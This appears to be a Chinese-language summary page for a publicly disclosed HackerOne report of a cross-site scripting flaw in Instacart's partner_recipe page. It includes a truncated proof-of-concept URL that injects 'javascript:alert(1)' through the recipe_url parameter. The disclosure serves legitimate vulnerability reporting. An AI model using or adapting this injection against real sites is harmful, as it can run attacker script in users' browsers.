XSS in instacart.com/store/partner_recipe
该报告还没有中文解读。
原文摘录
摘自原文（509 字符中的一小部分）
and click on the "Barb's Fried Apples -Diabetic-Low Fat" image to trigger the payload.
原文中的代码
https://www.instacart.com/store/partner_recipe?recipe_url=javascript:alert(1)&partner_name=&ingredients%5B%5D=apples&ingredients%5B%5D=butter&ingredients%5B%5D=Splenda+Brown+Sugar+Blend&ingredients%5B%5D=cinnamon&ingredients%5B%5D=nutmeg&title=Barb%27s+Fried+Apples+-Diabetic-Low+Fat&description=&ima …
默认不展示报告全文。以上为简短摘录，完整复现过程请阅读原文。版权归研究员与 Instacart 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @karel_origin · 版权归作者与 Instacart 所有